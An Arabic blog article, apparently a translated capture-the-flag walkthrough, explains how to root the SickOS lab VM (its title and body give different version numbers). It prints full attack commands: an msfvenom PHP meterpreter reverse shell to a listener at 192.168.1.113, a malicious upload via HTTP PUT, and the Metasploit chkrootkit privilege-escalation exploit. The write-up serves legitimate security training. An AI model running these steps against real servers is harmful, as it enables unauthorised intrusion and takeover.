أمن وحماية السيرفراتالمقال المثبتمواضيع عامةمواضيع ومقالات

مقال : حل التحدي SickOS 2.1 VM من تحديات CTF

تم أرشفة هذا المحتوى


في هذا الشرح سوف اشرح كيفية حل تحدي SickOS 1.2 . هذا هو الثاني في السلسلة المتتالية من SickOs وهي مستقلة عن الإصدارات السابقة, مجال التحدي هو الحصول على اعلى الصلاحيات التابعة للنظام. هذا CTF يعطي تشبيه واضح عن كيف ان إستراتيجيات الإختراق تنفذ على الشبكة للحد منها في بيئة أمنة.

اولا قم بتحميل SickOS من هنا

لنقم الان بإيجاد هدفنا بإستخدام

netdiscover

1

 

هدفنا هو 192.168.1.105 إضافة لذلك سوف ننفذ nmap :

nmap -A -p- 192.168.1.105

1

وكما ترى بان البورت 80 مفتوح وهذا يعني بانه بامكاننا فتح هذا ip في المتصفح. لماذا لانقم بهذا؟

 

1

بعد وضع ip في المتصفح سوف يظهر لنا هذه الصورة التي في الأعلى والتي ليس لديها هدف.يكنك المحاولة ورؤية مصدر الصفحة لكن للأسف لن تجد شيئا. لهذا السبب سوف نستخدم dirb لإيجاد المسارات :

dirb http://192.168.1.105

1

وعند رؤيتك للنتيجة سوف نجد مسارنا, مثال: test إفتحها في المتصفح ايضا.

192.168.1.105/test/

1

سوف يظهر لك قائمة المسارات. لنحاول ونستكشف مسار test بواسطة curl.

curl -v -X OPTIONS http://192.168.1.105/test

1

هذا الإستكشاف سوف يظهر لك بأن PUT مسموح بها وهذا يعني بأنك تستطيع الرفع عبرها.

اذا قم بتحضير الملف الخبيث الذي تريد رفعه بإستخدام msfvenom :

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.113 lport=4444 -f raw

1

اسنخ الكود من php?> الى ()die وأحفظه في الملف بلاحقة php.

الان لرفع ملفك (ملف php.) سنستخدم أضافة المسماة poster.

انقر على tools من شريط menu. وبعدها إنقر على poster من القائمة المنسدلة.

1

الصندوق التالي سوف يفتح. هنا, تصفح الملف الذي تريد ان ترفعه وانقر على خيار PUT

1

سوف بظهر لك بان الملف تم رفعه

1

ويمكنك ان ترى نفس الشئ على متصفحك بان الملف سوف يتم رفعه(وفي حالتنا, الملف هو shell.php)

1

بنفس الوقت,قم بفتح metasploit وإستخدم multi/handler :

use multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.1.113
set lport 4444
exploit

وبعد النقر على زر enter على لوحة المفاتح, قم بتشغيل الملف. سوف يعطيك جلسة meterpreter.

إذهب الى الشيل واكتب :

shell

والأن نحتاج لإستيراد ملف البايثون للوصول الى الterminal ولذلك سوف نكتب التالي :

echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py

python /tmp/asdf.py

الان نقوم بالتحقق من نسخة kernal التي يمكن ان نستغلها :

lsb_release -a

وكما ترى بان النسخة غير مستغلة لذلك سوف نتركها لحالها.

 

1

 

وبالإنتقال الى الامر التالي لإستكشاف المزيد وإيجاد شئ ما لإستغلاله:

ls -l /etc/cron.daily

 

1

الأمر الموجود في الأعلى سوف يعطيك قائمة الملفات. بعد المراقبة سوف تجد chkrootkit. البعض من نسخته يمكن ان يستغل وبالتالي سوف نتحقق من نسخته:

chkrootkit -V

سوف يظهر لك النسخة وهي 0.49 .

سوف نبحث الان عن أستغلال في terminal لنظام كالي بكتابة :

searchsploit chkrootkit

1

 

الان افتح metasploit وتحقق من الجلسة المفتوحة مسبقا وبعدها ابحث عن الإستغلال بكتابة :

search chkrootkit

1

وسوف يظهر الإستغلال الذي يجب عليك إستخدامه.

وبعدها اكتب options لمعرفة الخيارات المفروض ان تضعها. التحقق من الخيارات التي تعرفها تستوجب منك تعيين الجلسة و lport ولهذا اكتب:

use exploit/unix/local/chkrootkit
set session 1
set lport 8080
exploit

1

الان تحقق من حصولك على جلسة اخرى او لا ولهذا اكتب :

sessions

ويمكنك بالتاكيد روؤية بانك حصلت على جلسة اخرى ولفتحها اكتب :

sessions -i 2

وبفتحك للجلسة قم بالتحقق من اي مستخدم انت مسجل ولتتحق اكتب :

whoami

سوف تظهر لك بانك داخل الرووت وللمزيد اكتب:

cd /root

ولرؤية قائمة الملفات في الرووت:

ls -lsa

في هذه القائمة سوف ترى وجود ملف نصي ولقراءته :

cat 7d83aaa2bf93d8040f3f22ec6ad9d5a.txt

1

ترجمة مقال : (Hack the SickOS 2.1 VM (CTF Challenge

isecur1ty

مجتمع عربي للهاكر الأخلاقي وخبراء الحماية يركّز على مفهوم اختبار الاختراق وجديد أخبار الحماية

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

زر الذهاب إلى الأعلى